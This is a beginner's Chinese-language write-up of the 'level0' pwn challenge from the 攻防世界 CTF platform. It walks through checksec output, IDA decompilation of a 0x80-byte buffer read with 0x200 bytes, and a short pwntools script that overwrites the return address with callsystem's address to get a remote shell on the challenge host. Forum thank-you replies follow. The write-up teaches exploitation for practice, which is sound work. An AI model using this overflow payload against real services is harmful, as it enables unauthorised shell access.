攻防世界 level0 wp
纯新手教程 如有错误的地方 请各位大佬指出.利用的主要工具
ida / olldly / Peil / python pwntools
level0
https://img-blog.csdnimg.cn/202010230950048.png#pic_center
首先收集一下文件信息
64位程序
Arch: amd64-64-little 程序位数
RELRO:No Relro 开启无法修改got表
Stack: No canry found 开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
NX开着(开启则shellcode无法被执行)
Pie: No pie(0x400000) 开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址
然后将文件放入ida中进行查看
https://img-blog.csdnimg.cn/20201023095050450.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
可以看到一个callsystem 和一个 vulnerable_function函数
https://img-blog.csdnimg.cn/20201023095057519.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
打开vulnerable_function 按F5 进行反编译 可以看到 定义buf数组 长度0x80
下面
read
0 文件描述 默认0
&buf 为读出数据的缓冲区
0x200nll 为每次读取的字节数(是请求读取的字节数,读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移)
所以限制了 buf的长度为80 但是 在读取的时候可以读取200字节的数据 就说明 存在溢出漏洞(覆盖掉前面80个字节 然后注入payload)
https://img-blog.csdnimg.cn/20201023095105712.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
然后看到callsystem 是一个系统调用shell的权限.
可以将地址记录 然后进行指向.
https://img-blog.csdnimg.cn/20201023095110949.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
然后回过头来看80buf
https://img-blog.csdnimg.cn/20201023095116233.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
https://img-blog.csdnimg.cn/20201023095121768.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2Z4ZDMzMjAyNDY5Ng==,size_16,color_FFFFFF,t_70#pic_center
可以看到 在数组中还存在一个s 占用八个字符 所以覆盖的长度为 0x80 + 0x8
已知信息:
callsystem 调用 shell 位置 0x00400596
绕过长度 0x80 + 0x8
from pwn import *
👆调用python pwn库
r = remote(“220.249.52.133”,35488)
👆设置目标信息 remote(“address”,port)
payload = ‘A’*0x80 + ‘a’*0x8+p64(0x00400596)
👆构造payload A * 80 + a * 8 = 88 覆盖掉原本的数组 + p64(0x00400596)将溢出的地方指向系统调用shell的地址
r.recvuntil(“Hello, World\n”)
👆相当于接收到端口收集的信息 接收到\n,keepends指定保留\n
r.sendline(payload)
👆发送一行数据,相当于在末尾加\n
r.interactive()
👆与获取的shell进行交互 学习了,谢谢分享 支持!!!!!!!! 留个脚印 学习学习,感谢分享{:1_893:} 留个脚印支持!!!!!!!! 支持一下,谢谢分享 学习学习 学习了,谢谢分享,daydayup 学习学习,感谢